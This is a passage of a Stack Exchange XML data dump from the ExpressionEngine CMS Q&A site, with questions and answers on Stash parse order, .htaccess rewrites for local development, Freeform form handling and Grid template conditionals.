{/physical_address}&#xA;{/exp:channel:entries}&#xA;{!-- /STASH SET --}&#xA;&#xA;&amp;lt;h1&amp;gt;{exp:stash:logo}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;{exp:stash:style}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;{exp:stash:color}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;{exp:stash:phone}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;{exp:stash:text}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;{exp:stash:email}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;{exp:stash:subject}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;{exp:stash:facebook}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;{exp:stash:twitter}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;{exp:stash:linkedin}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;{exp:stash:street}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;{exp:stash:city}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;{exp:stash:state}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;{exp:stash:country}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h1&amp;gt;{exp:stash:zip}&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-05-27T21:30:18.530" Title="Can retrieve stash variables inside entry tags, but not outside" Tags="|ee2|stash|parse-order|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22233" PostTypeId="2" ParentId="21738" CreationDate="2014-05-27T21:09:35.520" Score="2" Body="&lt;p&gt;This Solspace thread describes probable causes for that error:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/forums/viewthread/16547&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solspace.com/forums/viewthread/16547&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If you’re having issues with the params_id error, I would look at&#xA;whether EE and your server can read ACT URLs correctly (eg.&#xA;&lt;a href=&quot;http://mysite.com/index.php_ACT=123&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mysite.com/index.php_ACT=123&lt;/a&gt;). Also, make sure the form isn’t&#xA;being cached: that’s a common cause for the error&lt;/p&gt;&#xA;&lt;p&gt;Had a lightbulb moment. Make sure the domain in the URL you’re using,&#xA;the domain in the form’s action=”” attribute, and EE settings are all&#xA;on the same domain. www. and non-www. domains are not the same domain.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3144" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-05-28T05:53:39.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22234" PostTypeId="2" ParentId="22232" CreationDate="2014-05-27T21:14:55.040" Score="1" Body="&lt;p&gt;Your &lt;code&gt;:set&lt;/code&gt; tags are wrong. &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3astash%3aset%7D&quot; rel=&quot;nofollow&quot;&gt;See docs here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- STASH SET --}&#xA;{exp:stash:set parse_tags=&quot;yes&quot;}&#xA;  {exp:channel:entries&#xA;    channel=&quot;site_settings&quot; &#xA;    limit=&quot;1&quot; &#xA;    disable=&quot;categories|member_data|pagination&quot;&#xA;  }&#xA;    {stash:logo}{company_logo}{/stash:logo}&#xA;    {stash:style}{site_appearance_style}{/stash:style}&#xA;    {stash:color}{site_color_theme}{/stash:color}&#xA;    ...continue that format...&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;{!-- /STASH SET --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you get the values like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:logo}&#xA;{stash:style}&#xA;{stash:color}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-05-27T21:14:55.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22235" PostTypeId="1" AcceptedAnswerId="22237" CreationDate="2014-05-27T21:20:59.687" Score="0" ViewCount="1806" Body="&lt;p&gt;I have just begun working with ExpressionEngine. The production site is working just fine and I wanted to create a local version for dev purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am receiving 404 not found errors on my localhost pages such as localhost:8888/example.com/products or localhost:8888/example.com/aboutus, but the index or home page comes up just fine - localhost:8888/example.com/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed the steps for migration from this link - &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/operations/moving.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/operations/moving.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Downloaded flat files via ftp&#xA;2) Used a backup .sql to load the local mysql&#xA;3) Able to login to system - localhost:8888/dev.example.com/system - all usernames &amp;amp; passwords work&#xA;4) Setup all the URLs within Admin&gt; General Configuration - so on and so forth&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to fix my template synch issue by going into the Design&gt; Templates&gt; Global Preferences and change the path to the templates' path on my computer - they were still set to the template’s path in production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/Applications/MAMP/htdocs/dev.example.com/templates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the localhost:8888/example.com/system and the initial index page - localhost:8888/example.com/ - function exactly as they would be expected to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created an htaccess file and placed it within /Applications/MAMP/htdocs/dev.example.com/:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;    RewriteBase /&#xA;&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;    RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;    RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;    # Directs all EE web requests through the site index file&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am still receiving a 404 not found error whenever I try to go to localhost:8888/example.com/products then it thinks that /index.php/products was not found, why does it not say products/index.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, is the path to the templates supposed to be this:&#xA;/Applications/MAMP/htdocs/dev.genesistoday.com/templates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or this:&#xA;/Applications/MAMP/htdocs/dev.genesistoday.com/templates/default_site/&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2014-05-28T21:46:24.593" Title="ExpressionEngine 404 Not found - /index.php/products was not found" Tags="|htaccess|404|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22236" PostTypeId="2" ParentId="22232" CreationDate="2014-05-27T21:30:18.530" Score="3" Body="&lt;p&gt;The :set tags are not wrong, per se, as you are using the shorthand syntax.  However, due to parse order, your 'get' tags are parsing before your 'set' tags since the sets are within the channel entries module tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stephen's answer does fix things, because it moves the channel loop within the set module tags. (However, that is not always convenient.) You could also have fixed your issue by adding process=&quot;end&quot; to the get tag, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{exp:stash:logo process=&quot;end&quot;}&amp;lt;h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to force it to parse after the channel loop, or you could wrap all the get tags in a &lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2014-05-27T21:30:18.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22237" PostTypeId="2" ParentId="22235" CreationDate="2014-05-27T21:33:56.633" Score="5" Body="&lt;p&gt;If you are running from &lt;code&gt;localhost:8888&lt;/code&gt;, then locally you are essentially running these sites from subdirectories. So the .htaccess you are using (&lt;code&gt;RewriteRule ^(.*)$ /index.php/$1 [L]&lt;/code&gt;) is sending requests to &lt;code&gt;http://localhost:8888/index.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html#exceptions&quot; rel=&quot;nofollow&quot;&gt;second exception&lt;/a&gt; from the user guide:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;RewriteRule ^(.*)$ index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice there is no &lt;code&gt;/&lt;/code&gt; in front of the index.php. You will also want to remove the &lt;code&gt;RewriteBase /&lt;/code&gt; otherwise it will prepend that to your rules, which you don't want in this case.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditDate="2014-05-28T21:46:24.593" LastActivityDate="2014-05-28T21:46:24.593" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22239" PostTypeId="2" ParentId="22228" CreationDate="2014-05-27T23:28:25.977" Score="1" Body="&lt;p&gt;You'll need to create this as a Postmaster &quot;Notification&quot; rather than a &quot;Parcel&quot;, which gives you a URL which you then ping with a scheduled cron job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When creating the Notification, you should be able to fetch the date from the channel grid data inside the &quot;Post Date Specific&quot; field. (Even though Postmaster only gives you a tiny text input, you can put any EE template code inside these fields).&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-05-27T23:28:25.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22240" PostTypeId="2" ParentId="22172" CreationDate="2014-05-27T23:40:43.823" Score="0" Body="&lt;p&gt;Yes, if CT's built-in tax plugins won't do this you can build your own very easily: &lt;a href=&quot;http://cartthrob.com/docs/developers/tax_plugins/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/developers/tax_plugins/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-05-27T23:40:43.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22241" PostTypeId="1" CreationDate="2014-05-28T03:28:51.627" Score="2" ViewCount="1063" Body="&lt;p&gt;SUMMARY: I need to access an element in an array that is passed to a template from a module and test for it's existence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a function in a module that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function subscriptions(){&#xA;  $subscriptions = array('sub1'=&amp;gt;array(...unimportant data...),&#xA;                         'sub4'=&amp;gt;array(...unimportant data...)&#xA;                        );&#xA;  $data['subscriptions'] = $subscriptions;&#xA;  $output = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $data);&#xA;  return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and a template that looks like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:my_module:subscriptions}&#xA;  {if subscriptions:sub4}User is subscribed to sub4{/if}&#xA;{/exp:my_module:subscriptions}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but that doesn't seem to work. I want to display certain things based upon what subscriptions a user has. This is not just to iterate through and print out subscriptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($subscriptions['sub4']){ echo 'User is subcribed to sub4' } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it says subscriptions isn't set.&lt;/p&gt;&#xA;" OwnerUserId="3147" LastActivityDate="2014-05-28T12:31:39.837" Title="Use array values in expressionengine template" Tags="|templates|template-scripting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22242" PostTypeId="1" CreationDate="2014-05-28T04:48:49.427" Score="0" ViewCount="159" Body="&lt;p&gt;I'm unable to test for the has_excerpt condition, when trying to display excerpt and extended content in a grid. In this example, &quot;booklist&quot; is a grid field and book is a wygwam field within that grid:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{booklist:book:excerpt}&#xA;{booklist:book:has_excerpt}&#xA;{booklist:book:extended}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This all works... it will print the excerpt, then the &quot;y&quot; then the extended content. However, if I try to test for has_excerpt, it breaks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if booklist:book:has_excerpt}&#xA;  {booklist:book:extended}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This conditional doesn't work and in fact triggers a PHP error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: User Warning&#xA;Message: Invalid EE Conditional Variable: {if &quot;&amp;lt;p&amp;gt;This massive unfinished modernist novel examines many issues that cannot be categorized.&quot;:has_excerpt}&#xA;Filename: libraries/Functions.php&#xA;Line Number: 2762&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried {if booklist:book:has_excerpt == &quot;y&quot;} and {if &quot;{booklist:book:has_excerpt} == &quot;y&quot;} as well, and neither works. Just to confirm that it works outside of a grid, I tried this (where &quot;book&quot; is a wygwam field not in a grid)...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {if book:has_excerpt}&#xA;    &amp;lt;p&amp;gt;{book:extended}&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it works fine. Any ideas how to make that conditional 1. work and 2. not trigger a PHP error? Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;j.&lt;/p&gt;&#xA;" OwnerUserId="3148" LastActivityDate="2017-05-26T18:52:22.080" Title="Wygwam inside of a grid -- has_excerpt conditional not working" Tags="|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22245" PostTypeId="2" ParentId="22210" CreationDate="2014-05-28T05:52:11.147" Score="2" Body="&lt;p&gt;If you are not using the EE native member templates, then instead of making the trigger word a random word (might be difficult to guess, but can theoretically still be hit by spammers), you can simply add a hash in front of the trigger word so the URL can't be accessed, like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;#member&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;of if you are using a custom config file, you can do it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$config['profile_trigger'] = '#member';&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1936" LastActivityDate="2014-05-28T05:52:11.147" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22246" PostTypeId="2" ParentId="22242" CreationDate="2014-05-28T07:47:39.143" Score="0" Body="&lt;pre&gt;&lt;code&gt;{if &quot;{booklist:book:has_excerpt}&quot;}&#xA;  Yup&#xA;{if:else}&#xA;  Nope&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should work. Note how we've made the has_excerpt a string by using &quot; &quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your example of &lt;code&gt;{if &quot;{booklist:book:has_excerpt} == &quot;y&quot;}&lt;/code&gt; was almost right, but you didn't close the String after &lt;code&gt;has_excerpt&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-05-28T07:47:39.143" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22247" PostTypeId="1" CreationDate="2014-05-28T07:53:43.063" Score="0" ViewCount="241" Body="&lt;p&gt;I'm trying to create a form with Freeform Pro containing a File Upload field that is required. So the form should only submit when the user actually uploads a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the field to required in template parameter seems to have no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bug or missing feature? Any workarounds?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form_name=&quot;feedback&quot; secure_action=&quot;yes&quot; secure_return=&quot;yes&quot; required=&quot;some_picture|email&quot; form:id=&quot;some_form&quot; admin_notification_template=&quot;feedback_notify&quot; admin_notify=&quot;foobar@example.com&quot; prevent_duplicate_on=&quot;email&quot; inline_error_return=&quot;group/template&quot; inline_errors=&quot;yes&quot; return=&quot;group/feedback_thanx&quot;}&#xA;&#xA;&amp;lt;label for=&quot;fmail&quot;&amp;gt;&#xA;&amp;lt;span class=&quot;frage&quot;{if freeform:error:email} style=&quot;color:red;&quot;{/if}&amp;gt; E-MAIL &amp;lt;/span&amp;gt;&#xA;{freeform:field:email id=&quot;fmail&quot;}&#xA;&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;some_picture&quot;&amp;gt;&#xA;&amp;lt;span class=&quot;frage&quot; {if freeform:error:some_picture}style=&quot;color:red;&quot;{/if}&amp;gt;Please upload! &amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;{freeform:field:some_picture id=&quot;some_picture&quot;}&#xA;&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Absenden&quot; /&amp;gt;&#xA;{/exp:freeform:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1013" LastEditorUserId="1013" LastEditDate="2014-06-09T00:01:47.930" LastActivityDate="2014-08-18T12:48:33.200" Title="Freeform - make file_upload field required" Tags="|solspace-freeform|solspace|file-uploads|fieldtype|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22248" PostTypeId="1" CreationDate="2014-05-28T08:20:21.877" Score="0" ViewCount="80" Body="&lt;p&gt;I have a FreeForm form. On a first server everything worked just fine and since I moved the website to another server (and domain) the form doesn't reload the page on submit. It only send the form on my email but that's it. So I tried to put a return parameter but it doesn't redirect on it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a specific PHP server parameter to activate or disable to make it work ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Versions used : FreeForm 4.1.8 / EE 2.8.1&lt;/p&gt;&#xA;" OwnerUserId="2488" LastActivityDate="2014-05-28T08:20:21.877" Title="Freeform : page doesn't reload after form is submited" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22249" PostTypeId="1" AcceptedAnswerId="22250" CreationDate="2014-05-28T09:22:02.533" Score="2" ViewCount="70" Body="&lt;p&gt;there are two site on my server 1 on root and other one in a sub folder named /A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i am inputting my sub folder's url its opening root website &lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is no .htaccess file present .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;root website is working correct.&lt;/p&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2014-05-28T11:30:55.583" Title="subdirectory path opening root website why" Tags="|ee2|.htaccess|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22250" PostTypeId="2" ParentId="22249" CreationDate="2014-05-28T11:30:55.583" Score="4" Body="&lt;p&gt;.htaccess is not only one place where rules can be located.  First of all needs to understand what do you use on your site as webserver. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example it can be Apache, Apache+NGINX, NGIX+php-fpm. The last one don't use .htaccess . All rules is  nginx config files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apache can also keep rules in his config. .htaccess is only way to override default config (in case if apache config allow it &lt;em&gt;AllowOverride All&lt;/em&gt;). &lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-05-28T11:30:55.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22251" PostTypeId="1" CreationDate="2014-05-28T12:03:49.780" Score="1" ViewCount="171" Body="&lt;p&gt;WE have Integrated Channel form with Grid on Front End.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That channel form Template load by ajax on page multiple at a same time update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g one channe form edit two time on same page load by ajax then first load form grid working fine when second form open for edit at same time when first one already open then second open form grid field not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;let me know any idea for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;PD&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is My Code When We have added single form multiple time in one page that time only first one add row of grid functionality working but other form not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Code this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&amp;lt;link href=&quot;{path=css/_ee_channel_form_css}&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot;&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;{exp:channel:form channel=&quot;test_form&quot; id=&quot;test1&quot;  return=&quot;channel-form/index&quot; json=&quot;no&quot; include_jquery=&quot;no&quot; include_assets=&quot;yes&quot;}&#xA;   &amp;lt;input name=&quot;title&quot; type=&quot;text&quot;&amp;gt;&#xA;&#xA;    {field:test_entry}&#xA;&#xA;   &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&#xA;{exp:channel:form channel=&quot;test_form&quot; id=&quot;test2&quot;  return=&quot;channel-form/index&quot; json=&quot;no&quot; include_jquery=&quot;no&quot; include_assets=&quot;yes&quot;}&#xA;   &amp;lt;input name=&quot;title&quot; type=&quot;text&quot;&amp;gt;&#xA;&#xA;    {field:test_entry}&#xA;&#xA;   &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/htm&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Above My Code for two channel form in multiple time use in single page but add row of grid not working of second one.&lt;/p&gt;&#xA;" OwnerUserId="3110" LastEditorUserId="1326" LastEditDate="2014-08-01T14:31:55.090" LastActivityDate="2015-01-15T22:41:54.143" Title="@Grid With Channel Form single form template Multiple Time on same page Grid not working" Tags="|safecracker|grid|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22252" PostTypeId="2" ParentId="22241" CreationDate="2014-05-28T12:17:39.867" Score="2" Body="&lt;p&gt;If you want your variables to be in the &lt;code&gt;subscriptions:sub4&lt;/code&gt; format, you should try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($subscriptions as $key =&amp;gt; $value) {&#xA;  $data['subscriptions:'.$key] = $value;&#xA;}&#xA;return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-05-28T12:17:39.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22253" PostTypeId="2" ParentId="22241" CreationDate="2014-05-28T12:31:39.837" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/a/22252/55&quot;&gt;Rob's got it&lt;/a&gt; - but just to elaborate, the code you're using in your question would require you to use template code which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:my_module:subscriptions}&#xA;    {subscriptions}&#xA;        {if sub4}User is subscribed to sub4{/if}&#xA;    {/subscriptions}&#xA;{/exp:my_module:subscriptions}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;colon&quot; shortcut which EE uses in Grid and Relationship fields is not a default feature of the &lt;code&gt;parse_variables()&lt;/code&gt; methods.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-05-28T12:31:39.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22256" PostTypeId="1" AcceptedAnswerId="22361" CreationDate="2014-05-28T13:51:58.183" Score="0" ViewCount="51" Body="&lt;p&gt;I've got a nested set_list that adds &quot;tags&quot; (which are really just relationships) to a list that the frontend then loops through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's set like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- SO: Grab relevant tags --}&#xA;{exp:stash:set_list:nested&#xA;  name=&quot;tags&quot;&#xA;  context=&quot;{segment_3}&quot;&#xA;  parse_tags=&quot;yes&quot;&#xA;  save=&quot;yes&quot;&#xA;  scope=&quot;site&quot;&#xA;  refresh=&quot;120&quot;&#xA;}&#xA;  {stash:tag}Blog{/stash:tag}&#xA;  {stash:url}/blog/{/stash:url}&#xA;&#xA;  {exp:playa:children field=&quot;blog_contributor&quot;}&#xA;    {stash:tag}{title}{/stash:tag}&#xA;    {stash:url}/contributor/{url_title}{/stash:url}&#xA;  {/exp:playa:children}&#xA;&#xA;{/exp:stash:set_list:nested}&#xA;{!-- EO: Grab relevant tags --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works well, but only on the 2nd page refresh and after. The first time that you load the page the items set by the non-nested lists are fine but these bits are empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at Mustash after first load it renders this:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tag|=|Blog|&amp;amp;|url|=|/blog/|+|tag|=|Al Overdrive|&amp;amp;|url|=|/contributor/al-overdrive&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this isn't rendering on the front-end. The front-end code is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list:nested name=&quot;tags&quot; context=&quot;{segment_3}&quot; scope=&quot;site&quot;}&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url}&quot;&amp;gt;{tag}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list:nested}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure I'm missing something obvious here, but any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-06-02T14:36:59.270" Title="Nested List Data not shown on first page load" Tags="|stash|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22258" PostTypeId="1" CreationDate="2014-05-28T14:57:09.457" Score="0" ViewCount="39" Body="&lt;p&gt;I just want to find some talented people to work with that are already familiar with the platform.&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2014-05-28T15:24:08.693" Title="What is the best place to post job listings for EE devs?" Tags="|templates|javascript|css|html|" AnswerCount="1" CommentCount="1" ClosedDate="2014-05-28T15:54:13.883" ContentLicense="CC BY-SA 3.0" />
  <row Id="22259" PostTypeId="1" CreationDate="2014-05-28T15:06:05.640" Score="1" ViewCount="50" Body="&lt;p&gt;Please Please Help! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have been running around in circles trying to resolve an issue with and old EE site, all of a sudden it just stopped working admin side, hitting memory limits (even at 1G) and hitting gateway issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We were on 2.5.3 and hoped the upgrade to 2.5.5 might help, we would love to get it upgraded to 2.8 + but it is just not an option due the the large amount of addons that we can't update because of all the issues!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's all points to Zoo Visitor, but the Zoo dev team have gone through everything and believe the issue lies within the EE core??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This old thread seems to be having the same issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/213888/#991232&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/213888/#991232&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone got any ideas thoughts on how this was fixed or could be 